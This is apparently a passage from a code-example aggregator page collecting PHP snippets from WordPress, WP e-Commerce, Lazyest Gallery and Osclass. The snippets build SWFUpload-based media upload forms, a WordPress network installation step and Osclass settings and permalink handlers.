             $sCurrency = Params::getParam('currency');
             $sWeekStart = Params::getParam('weekStart');
             $sTimeFormat = Params::getParam('timeFormat');
             $sNumRssItems = Params::getParam('num_rss_items');
             // preparing parameters
             $sPageTitle = strip_tags($sPageTitle);
             $sPageDesc = strip_tags($sPageDesc);
             $sContactEmail = strip_tags($sContactEmail);
             $sLanguage = strip_tags($sLanguage);
             $sDateFormat = strip_tags($sDateFormat);
             $sCurrency = strip_tags($sCurrency);
             $sWeekStart = strip_tags($sWeekStart);
             $sTimeFormat = strip_tags($sTimeFormat);
             $sNumRssItems = strip_tags($sNumRssItems);
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sPageTitle), array('s_section' => 'osclass', 's_name' => 'pageTitle'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sPageDesc), array('s_section' => 'osclass', 's_name' => 'pageDesc'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sContactEmail), array('s_section' => 'osclass', 's_name' => 'contactEmail'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sLanguage), array('s_section' => 'osclass', 's_name' => 'language'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sDateFormat), array('s_section' => 'osclass', 's_name' => 'dateFormat'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sCurrency), array('s_section' => 'osclass', 's_name' => 'currency'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sWeekStart), array('s_section' => 'osclass', 's_name' => 'weekStart'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sTimeFormat), array('s_section' => 'osclass', 's_name' => 'timeFormat'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $sNumRssItems), array('s_section' => 'osclass', 's_name' => 'num_rss_items'));
             if ($iUpdated > 0) {
                 osc_add_flash_message(_m('General settings have been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings');
             break;
         default:
             // calling the view
             $aLanguages = OSCLocale::newInstance()->listAllEnabled();
             $aCurrencies = Currency::newInstance()->listAll();
             $this->_exportVariableToView('aLanguages', $aLanguages);
             $this->_exportVariableToView('aCurrencies', $aCurrencies);
             $this->doView('settings/index.php');
             break;
     }
 }
예제 #9
0
function wpsc_product_image_forms($product_data = '')
{
    global $closed_postboxes;
    if ($product_data == 'empty') {
        $display = "style='display:none;'";
    }
    //echo "<pre>".print_r($product_data,true)."</pre>";
    //As in WordPress,  If Mac and mod_security, no Flash
    $flash = true;
    if (false !== strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mac') && apache_mod_loaded('mod_security')) {
        $flash = false;
    }
    $flash_action_url = admin_url('async-upload.php');
    $flash = apply_filters('flash_uploader', $flash);
    ?>
	<div id='wpsc_product_image_forms' class='postbox <?php 
    echo array_search('wpsc_product_image_forms', $product_data['closed_postboxes']) !== false ? 'closed' : '';
    ?>
' <?php 
    echo array_search('wpsc_product_image_forms', $product_data['hidden_postboxes']) !== false ? 'style="display: none;"' : '';
    ?>
 >
		<h3 class='hndle'> <?php 
    echo TXT_WPSC_PRODUCTIMAGES;
    ?>
</h3>
		<div class='inside'>
		
		<?php 
    if ($flash) {
        ?>
			<script type="text/javascript" >
			/* <![CDATA[ */
			jQuery("span#spanButtonPlaceholder").livequery(function() {
				swfu = new SWFUpload({
					button_text: '<span class="button"><?php 
        _e('Select Files');
        ?>
</span>',
					button_text_style: '.button { text-align: center; font-weight: bold; font-family:"Lucida Grande","Lucida Sans Unicode",Tahoma,Verdana,sans-serif; }',
					button_height: "24",
					button_width: "132",
					button_image_url: '<?php 
        echo includes_url('images/upload.png');
        ?>
',
					button_placeholder_id: "spanButtonPlaceholder",
					upload_url : "<?php 
        echo attribute_escape($flash_action_url);
        ?>
",
					flash_url : "<?php 
        echo includes_url('js/swfupload/swfupload.swf');
        ?>
",
					file_post_name: "async-upload",
					file_types: "<?php 
        echo apply_filters('upload_file_glob', '*.*');
        ?>
",
					post_params : {
						"product_id" : parseInt(jQuery('#product_id').val()),
						"auth_cookie" : "<?php 
        if (is_ssl()) {
            echo $_COOKIE[SECURE_AUTH_COOKIE];
        } else {
            echo $_COOKIE[AUTH_COOKIE];
        }
        ?>
",
						"_wpnonce" : "<?php 
        echo wp_create_nonce('product-swfupload');
        ?>
",
						"wpsc_admin_action" : "wpsc_add_image"
					},
					file_size_limit : "<?php 
        echo wp_max_upload_size();
        ?>
b",
					file_dialog_start_handler : wpsc_fileDialogStart,
					file_queued_handler : wpsc_fileQueued,
					upload_start_handler : wpsc_uploadStart,
					upload_progress_handler : wpsc_uploadProgress,
					upload_error_handler : wpsc_uploadError,
					upload_success_handler : wpsc_uploadSuccess,
					upload_complete_handler : wpsc_uploadComplete,
					file_queue_error_handler : wpsc_fileQueueError,
					file_dialog_complete_handler : wpsc_fileDialogComplete,
					swfupload_pre_load_handler: wpsc_swfuploadPreLoad,
					swfupload_load_failed_handler: wpsc_swfuploadLoadFailed,
					custom_settings : {
						degraded_element_id : "browser-image-uploader", // id of the element displayed when swfupload is unavailable
						swfupload_element_id : "flash-image-uploader" // id of the element displayed when swfupload is available
					},
					<?php 
        if (defined('WPSC_ADD_DEBUG_PAGE') && constant('WPSC_ADD_DEBUG_PAGE') == true) {
            ?>
						debug: true
						<?php 
        } else {
            ?>
						debug: false
						<?php 
        }
        ?>
				});
			});
		/* ]]> */
		</script>
		
		<?php 
    }
    ?>
		
    <div class='flash-image-uploader'>
			<span id='spanButtonPlaceholder'></span><br />
				<div id='media-items'> </div>
				<p><?php 
    echo wpsc_check_memory_limit();
    ?>
</p>
				<p><?php 
    echo TXT_WPSC_FLASH_UPLOADER;
    ?>
</p>
				<?php 
    if (!function_exists('gold_shpcrt_display_gallery')) {
        ?>
					<p><?php 
        _e('To upload multiple product thumbnails you must <a href="http://www.instinct.co.nz/shop/">install the premium upgrade</a>');
        ?>
</p>
					<?php 
    }
    ?>
    </div>
    
    
		
		  <div class='browser-image-uploader'>
				<h4><?php 
    _e("Select an image to upload:");
    ?>
</h4>
				<ul>  
					<li>
						<input type="file" value="" name="image" />
						<input type="hidden" value="1" name="image_resize" />
					</li>
					<li>
						<?php 
    echo wpsc_check_memory_limit();
    ?>
					</li>
				</ul>
				<p><?php 
    echo TXT_WPSC_BROWSER_UPLOADER;
    ?>
</p>
				<br />
				
			</div>
			<p><strong <?php 
    echo $display;
    ?>
><?php 
    echo TXT_WPSC_MANAGE_YOUR_THUMBNAILS;
    ?>
</strong></p>
			<?php 
    edit_multiple_image_gallery($product_data);
    ?>

		</div>
		<div style='clear:both'></div>
	</div>
	<?php 
    return $output;
}
예제 #10
0
function media_upload_form($errors = null)
{
    global $type, $tab;
    $flash_action_url = get_option('siteurl') . "/wp-admin/async-upload.php";
    // If Mac and mod_security, no Flash. :(
    $flash = true;
    if (false !== strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mac') && apache_mod_loaded('mod_security')) {
        $flash = false;
    }
    $flash = apply_filters('flash_uploader', $flash);
    $post_id = intval($_REQUEST['post_id']);
    ?>
<input type='hidden' name='post_id' value='<?php 
    echo (int) $post_id;
    ?>
' />
<div id="media-upload-notice">
<?php 
    if (isset($errors['upload_notice'])) {
        ?>
	<?php 
        echo $errors['upload_notice'];
    }
    ?>
</div>
<div id="media-upload-error">
<?php 
    if (isset($errors['upload_error']) && is_wp_error($errors['upload_error'])) {
        ?>
	<?php 
        echo $errors['upload_error']->get_error_message();
    }
    ?>
</div>
<?php 
    if ($flash) {
        ?>
<script type="text/javascript">
<!--
jQuery(function($){
	swfu = new SWFUpload({
			upload_url : "<?php 
        echo attribute_escape($flash_action_url);
        ?>
",
			flash_url : "<?php 
        echo get_option('siteurl') . '/wp-includes/js/swfupload/swfupload_f9.swf';
        ?>
",
			file_post_name: "async-upload",
			file_types: "<?php 
        echo apply_filters('upload_file_glob', '*.*');
        ?>
",
			post_params : {
				"post_id" : "<?php 
        echo $post_id;
        ?>
",
				"auth_cookie" : "<?php 
        echo $_COOKIE[AUTH_COOKIE];
        ?>
",
				"_wpnonce" : "<?php 
        echo wp_create_nonce('media-form');
        ?>
",
				"type" : "<?php 
        echo $type;
        ?>
",
				"tab" : "<?php 
        echo $tab;
        ?>
",
				"short" : "1"
			},
			file_size_limit : "<?php 
        echo wp_max_upload_size();
        ?>
b",
			swfupload_element_id : "flash-upload-ui", // id of the element displayed when swfupload is available
			degraded_element_id : "html-upload-ui",   // when swfupload is unavailable
			file_dialog_start_handler : fileDialogStart,
			file_queued_handler : fileQueued,
			upload_start_handler : uploadStart,
			upload_progress_handler : uploadProgress,
			upload_error_handler : uploadError,
			upload_success_handler : uploadSuccess,
			upload_complete_handler : uploadComplete,
			file_queue_error_handler : fileQueueError,
			file_dialog_complete_handler : fileDialogComplete,

			debug: false
		});
	$("#flash-browse-button").bind( "click", function(){swfu.selectFiles();});
});
//-->
</script>


<div id="flash-upload-ui">
	<p><input id="flash-browse-button" type="button" value="<?php 
        echo attribute_escape(__('Choose files to upload'));
        ?>
" class="button" /></p>
	<p><?php 
        _e('After a file has been uploaded, you can add titles and descriptions.');
        ?>
</p>
</div>

<?php 
    }
    // $flash
    ?>

<div id="html-upload-ui">
	<p>
	<input type="file" name="async-upload" id="async-upload" /> <input type="submit" class="button" name="html-upload" value="<?php 
    echo attribute_escape(__('Upload'));
    ?>
" /> <a href="#" onClick="return top.tb_remove();"><?php 
    _e('Cancel');
    ?>
</a>
	</p>
	<input type="hidden" name="post_id" id="post_id" value="<?php 
    echo (int) $post_id;
    ?>
" />
	<br class="clear" />
	<?php 
    if (is_lighttpd_before_150()) {
        ?>
	<p><?php 
        _e('If you want to use all capabilities of the uploader, like uploading multiple files at once, please upgrade to lighttpd 1.5.');
        ?>
</p>
	<?php 
    }
    ?>
</div>
<?php 
}
예제 #11
0
/**
 * {@internal Missing Short Description}}
 *
 * @since unknown
 *
 * @param unknown_type $errors
 */
function media_upload_form($errors = null)
{
    global $type, $tab;
    $flash_action_url = admin_url('async-upload.php');
    // If Mac and mod_security, no Flash. :(
    $flash = true;
    if (false !== strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mac') && apache_mod_loaded('mod_security')) {
        $flash = false;
    }
    $flash = apply_filters('flash_uploader', $flash);
    $post_id = isset($_REQUEST['post_id']) ? intval($_REQUEST['post_id']) : 0;
    ?>
<script type="text/javascript">
//<![CDATA[
var uploaderMode = 0;
jQuery(document).ready(function($){
	uploaderMode = getUserSetting('uploader');
	$('.upload-html-bypass a').click(function(){deleteUserSetting('uploader');uploaderMode=0;swfuploadPreLoad();return false;});
	$('.upload-flash-bypass a').click(function(){setUserSetting('uploader', '1');uploaderMode=1;swfuploadPreLoad();return false;});
});
//]]>
</script>
<div id="media-upload-notice">
<?php 
    if (isset($errors['upload_notice'])) {
        ?>
	<?php 
        echo $errors['upload_notice'];
    }
    ?>
</div>
<div id="media-upload-error">
<?php 
    if (isset($errors['upload_error']) && is_wp_error($errors['upload_error'])) {
        ?>
	<?php 
        echo $errors['upload_error']->get_error_message();
    }
    ?>
</div>

<?php 
    do_action('pre-upload-ui');
    ?>

<?php 
    if ($flash) {
        ?>
<script type="text/javascript">
//<![CDATA[
var swfu;
SWFUpload.onload = function() {
	var settings = {
			button_text: '<span class="button"><?php 
        _e('Select Files');
        ?>
</span>',
			button_text_style: '.button { text-align: center; font-weight: bold; font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; }',
			button_height: "24",
			button_width: "132",
			button_text_top_padding: 2,
			button_image_url: '<?php 
        echo includes_url('images/upload.png');
        ?>
',
			button_placeholder_id: "flash-browse-button",
			upload_url : "<?php 
        echo esc_attr($flash_action_url);
        ?>
",
			flash_url : "<?php 
        echo includes_url('js/swfupload/swfupload.swf');
        ?>
",
			file_post_name: "async-upload",
			file_types: "<?php 
        echo apply_filters('upload_file_glob', '*.*');
        ?>
",
			post_params : {
				"post_id" : "<?php 
        echo $post_id;
        ?>
",
				"auth_cookie" : "<?php 
        if (is_ssl()) {
            echo $_COOKIE[SECURE_AUTH_COOKIE];
        } else {
            echo $_COOKIE[AUTH_COOKIE];
        }
        ?>
",
				"_wpnonce" : "<?php 
        echo wp_create_nonce('media-form');
        ?>
",
				"type" : "<?php 
        echo $type;
        ?>
",
				"tab" : "<?php 
        echo $tab;
        ?>
",
				"short" : "1"
			},
			file_size_limit : "<?php 
        echo wp_max_upload_size();
        ?>
b",
			file_dialog_start_handler : fileDialogStart,
			file_queued_handler : fileQueued,
			upload_start_handler : uploadStart,
			upload_progress_handler : uploadProgress,
			upload_error_handler : uploadError,
			upload_success_handler : uploadSuccess,
			upload_complete_handler : uploadComplete,
			file_queue_error_handler : fileQueueError,
			file_dialog_complete_handler : fileDialogComplete,
			swfupload_pre_load_handler: swfuploadPreLoad,
			swfupload_load_failed_handler: swfuploadLoadFailed,
			custom_settings : {
				degraded_element_id : "html-upload-ui", // id of the element displayed when swfupload is unavailable
				swfupload_element_id : "flash-upload-ui" // id of the element displayed when swfupload is available
			},
			debug: false
		};
		swfu = new SWFUpload(settings);
};
//]]>
</script>

<div id="flash-upload-ui">
<?php 
        do_action('pre-flash-upload-ui');
        ?>

	<div>
	<?php 
        _e('Choose files to upload');
        ?>
	<div id="flash-browse-button"></div>
	<span><input id="cancel-upload" disabled="disabled" onClick="cancelUpload()" type="button" value="<?php 
        esc_attr_e('Cancel Upload');
        ?>
" class="button" /></span>
	</div>
<?php 
        do_action('post-flash-upload-ui');
        ?>
	<p class="howto"><?php 
        _e('After a file has been uploaded, you can add titles and descriptions.');
        ?>
</p>
</div>
<?php 
    }
    // $flash
    ?>

<div id="html-upload-ui">
<?php 
    do_action('pre-html-upload-ui');
    ?>
	<p id="async-upload-wrap">
	<label class="screen-reader-text" for="async-upload"><?php 
    _e('Upload');
    ?>
</label>
	<input type="file" name="async-upload" id="async-upload" /> <input type="submit" class="button" name="html-upload" value="<?php 
    esc_attr_e('Upload');
    ?>
" /> <a href="#" onClick="return top.tb_remove();"><?php 
    _e('Cancel');
    ?>
</a>
	</p>
	<div class="clear"></div>
	<?php 
    if (is_lighttpd_before_150()) {
        ?>
	<p><?php 
        _e('If you want to use all capabilities of the uploader, like uploading multiple files at once, please upgrade to lighttpd 1.5.');
        ?>
</p>
	<?php 
    }
    do_action('post-html-upload-ui', $flash);
    ?>
</div>
<?php 
    do_action('post-upload-ui');
}
예제 #12
0
파일: network.php 프로젝트: beaucollins/wp
/**
 * Prints step 1 for Network installation process.
 *
 * @todo Realistically, step 1 should be a welcome screen explaining what a Network is and such. Navigating to Tools > Network
 * 	should not be a sudden "Welcome to a new install process! Fill this out and click here." See also contextual help todo.
 *
 * @since 3.0.0
 */
function network_step1($errors = false)
{
    if (get_option('siteurl') != get_option('home')) {
        echo '<div class="error"><p><strong>' . __('Error:') . '</strong> ' . sprintf(__('Your <strong>WordPress address</strong> must match your <strong>Site address</strong> before creating a Network. See <a href="%s">General Settings</a>.'), esc_url(admin_url('options-general.php'))) . '</strong></p></div>';
        include './admin-footer.php';
        die;
    }
    $active_plugins = get_option('active_plugins');
    if (!empty($active_plugins)) {
        echo '<div class="updated"><p><strong>' . __('Warning:') . '</strong> ' . sprintf(__('Please <a href="%s">deactivate</a> your plugins before enabling the Network feature.'), admin_url('plugins.php')) . '</p></div><p>' . __(' Once the network is created, you may reactivate your plugins.') . '</p>';
        include './admin-footer.php';
        die;
    }
    $hostname = get_clean_basedomain();
    $has_ports = strstr($hostname, ':');
    if (false !== $has_ports && !in_array($has_ports, array(':80', ':443')) || ($no_ip = preg_match('|[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+|', $hostname))) {
        echo '<div class="error"><p><strong>' . __('Error:') . '</strong> ' . __('You cannot install a network of sites with your server address.') . '</strong></p></div>';
        if ($no_ip) {
            echo '<p>' . __('You cannot use an IP address such as <code>127.0.0.1</code>.') . '</p>';
        } else {
            echo '<p>' . sprintf(__('You cannot use port numbers such as <code>%s</code>.'), $has_ports) . '</p>';
        }
        echo '<a href="' . esc_url(admin_url()) . '">' . __('Return to Dashboard') . '</a>';
        include './admin-footer.php';
        die;
    }
    wp_nonce_field('install-network-1');
    $error_codes = array();
    if (is_wp_error($errors)) {
        echo '<div class="error"><p><strong>' . __('ERROR: The network could not be created.') . '</strong></p>';
        foreach ($errors->get_error_messages() as $error) {
            echo "<p>{$error}</p>";
        }
        echo '</div>';
        $error_codes = $errors->get_error_codes();
    }
    $site_name = !empty($_POST['sitename']) && !in_array('empty_sitename', $error_codes) ? $_POST['sitename'] : sprintf(_x('%s Sites', 'Default network name'), get_option('blogname'));
    $admin_email = !empty($_POST['email']) && !in_array('invalid_email', $error_codes) ? $_POST['email'] : get_option('admin_email');
    ?>
	<p><?php 
    _e('Welcome to the Network installation process!');
    ?>
</p>
	<p><?php 
    _e('Fill in the information below and you&#8217;ll be on your way to creating a network of WordPress sites. We will create configuration files in the next step.');
    ?>
</p>
	<?php 
    // @todo IIS and ! $is_apache
    if (isset($_POST['subdomain_install'])) {
        $subdomain_install = (bool) $_POST['subdomain_install'];
    } elseif (apache_mod_loaded('mod_rewrite')) {
        // assume nothing
        $subdomain_install = true;
    } else {
        $subdomain_install = false;
        if (got_mod_rewrite()) {
            // dangerous assumptions
            echo '<div class="updated inline"><p><strong>' . __('Note:') . '</strong> ' . __('Please make sure the Apache <code>mod_rewrite</code> module is installed as it will be used at the end of this installation.') . '</p>';
        } else {
            echo '<div class="error inline"><p><strong>' . __('Warning!') . '</strong> ' . __('It looks like the Apache <code>mod_rewrite</code> module is not installed.') . '</p>';
        }
        echo '<p>' . __('If <code>mod_rewrite</code> is disabled, ask your administrator to enable that module, or look at the <a href="http://httpd.apache.org/docs/mod/mod_rewrite.html">Apache documentation</a> or <a href="http://www.google.com/search?q=apache+mod_rewrite">elsewhere</a> for help setting it up.') . '</p></div>';
    }
    if (allow_subdomain_install()) {
        ?>
		<h3><?php 
        esc_html_e('Addresses of Sites in your Network');
        ?>
</h3>
		<p><?php 
        _e('Please choose whether you would like sites in your WordPress network to use sub-domains or sub-directories. <strong>You cannot change this later.</strong>');
        ?>
</p>
		<p><?php 
        _e('You will need a wildcard DNS record if you are going to use the virtual host (sub-domain) functionality.');
        ?>
</p>
		<?php 
        // @todo: Link to an MS readme?
        ?>
		<table class="form-table">
			<tr>
				<th><label><input type='radio' name='subdomain_install' value='1'<?php 
        checked($subdomain_install);
        ?>
 /> Sub-domains</label></th>
				<td><?php 
        printf(_x('like <code>site1.%1$s</code> and <code>site2.%1$s</code>', 'subdomain examples'), $hostname);
        ?>
</td>
			</tr>
			<tr>
				<th><label><input type='radio' name='subdomain_install' value='0'<?php 
        checked(!$subdomain_install);
        ?>
 /> Sub-directories</label></th>
				<td><?php 
        printf(_x('like <code>%1$s/site1</code> and <code>%1$s/site2</code>', 'subdirectory examples'), $hostname);
        ?>
</td>
			</tr>
		</table>

<?php 
    }
    $is_www = 0 === strpos($hostname, 'www.');
    if ($is_www) {
        ?>
		<h3><?php 
        esc_html_e('Server Address');
        ?>
</h3>
		<p><?php 
        printf(__('We recommend you change your siteurl to <code>%1$s</code> before enabling the network feature. It will still be possible to visit your site using the <code>www</code> prefix with an address like <code>%2$s</code> but any links will not have the <code>www</code> prefix.'), substr($hostname, 4), $hostname);
        ?>
</h3>
		<table class="form-table">
			<tr>
				<th scope='row'><?php 
        esc_html_e('Server Address');
        ?>
</th>
				<td>
					<?php 
        printf(__('The internet address of your network will be <code>%s</code>.'), $hostname);
        ?>
				</td>
			</tr>
		</table>
		<?php 
    }
    ?>

		<h3><?php 
    esc_html_e('Network Details');
    ?>
</h3>
		<table class="form-table">
		<?php 
    if ('localhost' == $hostname) {
        ?>
			<tr>
				<th scope="row"><?php 
        esc_html_e('Sub-directory Install');
        ?>
</th>
				<td><?php 
        _e('Because you are using <code>localhost</code>, the sites in your WordPress network must use sub-directories. Consider using <code>localhost.localdomain</code> if you wish to use sub-domains.');
        ?>
</td>
			</tr>
		<?php 
    } elseif (!allow_subdomain_install()) {
        ?>
			<tr>
				<th scope="row"><?php 
        esc_html_e('Sub-directory Install');
        ?>
</th>
				<td><?php 
        _e('Because your install is in a directory, the sites in your WordPress network must use sub-directories.');
        ?>
</td>
			</tr>
		<?php 
    }
    ?>
		<?php 
    if (!$is_www) {
        ?>
			<tr>
				<th scope='row'><?php 
        esc_html_e('Server Address');
        ?>
</th>
				<td>
					<?php 
        printf(__('The internet address of your network will be <code>%s</code>.'), $hostname);
        ?>
				</td>
			</tr>
		<?php 
    }
    ?>
			<tr>
				<th scope='row'><?php 
    esc_html_e('Network Title');
    ?>
</th>
				<td>
					<input name='sitename' type='text' size='45' value='<?php 
    echo esc_attr($site_name);
    ?>
' />
					<br /><?php 
    _e('What would you like to call your network?');
    ?>
				</td>
			</tr>
			<tr>
				<th scope='row'><?php 
    esc_html_e('Admin E-mail Address');
    ?>
</th>
				<td>
					<input name='email' type='text' size='45' value='<?php 
    echo esc_attr($admin_email);
    ?>
' />
					<br /><?php 
    _e('Your email address.');
    ?>
				</td>
			</tr>
		</table>
		<p class='submit'><input class="button-primary" name='submit' type='submit' value='<?php 
    esc_attr_e('Install');
    ?>
' /></p>
		<?php 
}
예제 #13
0
    /**
     * LazyestAdminFolder::uploadbox()
     * Show the box with the uploader(s)
     * 
     * @return void
     */
    function uploadbox()
    {
        global $lg_gallery;
        // get and set flash uploader preferences
        $flash = 'TRUE' == $lg_gallery->get_option('flash_upload') || isset($_REQUEST['flash']) && $_REQUEST['flash'] == 1;
        if (false !== stripos($_SERVER['HTTP_USER_AGENT'], 'mac') && apache_mod_loaded('mod_security')) {
            $flash = false;
        }
        $lg_gallery->update_option('flash_upload', $flash ? 'TRUE' : 'FALSE');
        // urls and text based on flash uploader
        $action_url = add_query_arg(array('action' => 'lg_media', 'folder' => lg_nice_link($this->curdir), 'width' => 640, 'TB_iframe' => 1), wp_nonce_url('admin-ajax.php'));
        $action_url = add_query_arg(array('flash' => $flash ? 1 : 0), $action_url);
        $switch_url = add_query_arg(array('flash' => $flash ? 0 : 1), $action_url);
        $flashbypass = sprintf(__('You are using the Flash uploader. Problems? Try the <a href="%s">Browser uploader</a> instead', 'lazyest-gallery'), $switch_url);
        $htmlbypass = sprintf(__('You are using the Browser uploader. Use the <a href="%s">Flash uploader</a> instead', 'lazyest-gallery'), $switch_url);
        $flashstyle = $flash ? 'display:block' : 'display:none';
        $htmlstyle = $flash ? 'display:none' : 'display:block';
        $upload_size_unit = $max_upload_size = wp_max_upload_size();
        // text for allowed types
        $filetypes = '*.' . str_replace(' ', ';*.', strtolower($lg_gallery->get_option('fileupload_allowedtypes')));
        $allowed_types = explode(' ', trim(strtolower($lg_gallery->get_option('fileupload_allowedtypes'))));
        foreach ($allowed_types as $type) {
            $type_tags[] = "<code>{$type}</code>";
        }
        // text for maximum file uplaod
        $sizes = array('KB', 'MB', 'GB');
        for ($u = -1; $upload_size_unit > 1024 && $u < count($sizes) - 1; $u++) {
            $upload_size_unit /= 1024;
        }
        if ($u < 0) {
            $upload_size_unit = 0;
            $u = 0;
        } else {
            $upload_size_unit = (int) $upload_size_unit;
        }
        $i = implode(', ', $type_tags);
        $show_image = '';
        if (isset($_POST['newname']) || $lg_gallery->success && isset($lg_gallery->message)) {
            $uploaded = isset($_POST['newname']) ? $_POST['newname'] : $lg_gallery->message;
            $show_image = sprintf('<div id="media-item-lg" class="media-item">
				<div class="progress"><div class="bar" style="width:100%%">100%%</div></div>
				<div id="media-upload-error-lg"></div>
				<div class="filename new">%s</div>
			</div>', $uploaded);
            unset($lg_gallery->message);
        }
        if ($flash) {
            $user = wp_get_current_user();
            $uid = (int) $user->ID;
            $ajax_nonce = wp_create_nonce();
            ?>
	    <script type="text/javascript">
	      //<! [CDATA[
	      var folder_id = <?php 
            echo $this->id;
            ?>
;
	      var swfu;
	      SWFUpload.onload = function() {
	        var settings = {
	        	button_text: '<?php 
            esc_html_e('Select Files');
            ?>
',
	        	button_text_style: '.select-upload { text-align:center; font-weight:bold; font-family:"Lucida Grande",Verdana,Arial,"Bitstream Vera Sans",sans-serif; }',
	        	button_height: "23",
	        	button_width: "132",
	        	button_text_top_padding: 3,
	        	button_text_left_padding: 5,
	        	button_image_url: '<?php 
            echo $lg_gallery->plugin_url . '/images/upload.png';
            ?>
',
	        	button_placeholder_id: "flash-browse-button",
	        	upload_url : "<?php 
            echo esc_attr(admin_url('admin-ajax.php'));
            ?>
",
	        	flash_url : "<?php 
            echo includes_url('js/swfupload/swfupload.swf');
            ?>
",
	        	file_post_name: "async-upload",
	        	file_types: "*.jpg;*.jpeg;*.gif;*.png",
	          file_types_description : "<?php 
            esc_html_e('Image files', 'lazyest-gallery');
            ?>
",
	        	post_params : {
	        		"_ajax_nonce" : "<?php 
            echo $ajax_nonce;
            ?>
",      			
	        		"short" : "1",
	            "file" : "<?php 
            echo lg_nice_link($this->curdir);
            ?>
",
	            "action" : "lg_swfupload",
           		"uid" : <?php 
            echo $uid;
            ?>
	        	},
	        	file_size_limit : "<?php 
            echo wp_max_upload_size();
            ?>
b",
	        	file_dialog_start_handler : lg_fileDialogStart,
	        	file_queued_handler : lg_fileQueued,
	        	upload_start_handler : lg_uploadStart,
	        	upload_progress_handler : lg_uploadProgress,
	        	upload_error_handler : lg_uploadError,
	        	upload_success_handler : lg_uploadSuccess,
	        	upload_complete_handler : lg_uploadComplete,
	        	file_queue_error_handler : lg_fileQueueError,
	        	file_dialog_complete_handler : lg_fileDialogComplete,
	        	swfupload_pre_load_handler: lg_swfuploadPreLoad,
	        	swfupload_load_failed_handler: lg_swfuploadLoadFailed,
	        	custom_settings : {
	        		degraded_element_id : "html_upload-ui", // id of the element displayed when swfupload is unavailable
	        		swfupload_element_id : "flash-upload-ui" // id of the element displayed when swfupload is available
	        	},
	        	debug: false
	        };
	        swfu = new SWFUpload(settings);
	      };
	      //]]>
	    </script>
	  	<?php 
        }
        ?>
  	<?php 
        if ($lg_gallery->success || isset($_POST['newname'])) {
            ?>
		 <form action="<?php 
            echo esc_attr($action_url);
            ?>
"  method="post" enctype="multipart/form-data">				            
      <h3 class="media-title"><?php 
            esc_html_e('Add images from your computer', 'lazyest-gallery');
            ?>
</h3>
      <div class="inside">    
        <div id="media-upload-notice">
          <?php 
            if (isset($errors['upload_notice'])) {
                echo $errors['upload_notice'];
            }
            ?>
        </div>
        <div id="media-upload-error"> 
          <?php 
            if (isset($errors['upload_error']) && is_wp_error($errors['upload_error'])) {
                echo $errors['upload_error']->get_error_message();
            }
            ?>
        	
        </div>
        <?php 
            $lg_gallery->options_message();
            ?>
        <?php 
            ?>
        <div id="flash-upload-ui" class="hide-if-no-js" style="<?php 
            echo $flashstyle;
            ?>
">
          <div id="upload-object-div">
            <?php 
            esc_html_e('Choose files to upload', 'lazyest-gallery');
            ?>
            <div id="flash-browse-button"></div>
            <span><input id="cancel-upload" disabled="disabled" onclick="cancelUpload()" type="button" value="<?php 
            esc_attr_e('Cancel Upload', 'lazyest-gallery');
            ?>
" class="button" /></span>            
          </div>
					<p class="media-upload-size"><?php 
            printf(esc_html__('Maximum upload file size: %d%s', 'lazyest-gallery'), $upload_size_unit, $sizes[$u]);
            ?>
</p>
					<p class="upload-flash-bypass"><?php 
            echo $flashbypass;
            ?>
</p>            
          <p class="howto"><?php 
            esc_html_e('After a file has been uploaded, you can return to edit the Folder .', 'lazyest-gallery');
            ?>
</p>
          
        </div>               
        <div id="html_upload-ui" style="<?php 
            echo $htmlstyle;
            ?>
">              
          <a name="html_upload-ui"></a>         
            <input type="hidden" name="MAX_FILE_SIZE" value="<?php 
            echo wp_max_upload_size();
            ?>
" />
            <p id="html-upload-wrap">
              <input type="file" name="html_upload" id="html_upload" /><input type="submit" name="html-upload" class="button" value="<?php 
            _e('Upload', 'lazyest-gallery');
            ?>
" />
            </p>                      
            <input type="hidden" name="upload_folder" value="<?php 
            echo htmlentities($this->curdir);
            ?>
" /> 
						<p class="media-upload-size"><?php 
            printf(esc_html__('Maximum upload file size: %d%s', 'lazyest-gallery'), $upload_size_unit, $sizes[$u]);
            ?>
</p>                                      
            <p class="upload-html-bypass"><?php 
            echo $htmlbypass;
            ?>
</p>
        </div>
        <div id="media-items" class="lazyest"><?php 
            echo $show_image;
            ?>
</div>        
      </div>               
		</form> 
		<?php 
        } else {
            ?>
		<form>
			<h3 class="media-title"><?php 
            esc_html_e('Upload failed', 'lazyest-gallery');
            ?>
</h3>
			<div class="inside">
				<?php 
            $lg_gallery->options_message();
            ?>
				<div id="html_upload-ui">
				<p><a class="button" href="<?php 
            echo $action_url;
            ?>
"><?php 
            esc_html_e('Try another file', 'lazyest-gallery');
            ?>
</a></p>
				</div>
			</div>
		</form>	
		<?php 
        }
        ?>
		 
    <?php 
    }
예제 #14
0
    function doModel()
    {
        switch ($this->action) {
            case 'permalinks':
                // calling the permalinks view
                $htaccess = Params::getParam('htaccess_status');
                $file = Params::getParam('file_status');
                $this->_exportVariableToView('htaccess', $htaccess);
                $this->_exportVariableToView('file', $file);
                $this->doView('settings/permalinks.php');
                break;
            case 'permalinks_post':
                // updating permalinks option
                osc_csrf_check();
                $htaccess_file = osc_base_path() . '.htaccess';
                $rewriteEnabled = Params::getParam('rewrite_enabled') ? true : false;
                $rewrite_base = REL_WEB_URL;
                $htaccess = <<<HTACCESS
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase {$rewrite_base}
RewriteRule ^index\\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . {$rewrite_base}index.php [L]
</IfModule>
HTACCESS;
                if ($rewriteEnabled) {
                    osc_set_preference('rewriteEnabled', '1');
                    // 1. OK (ok)
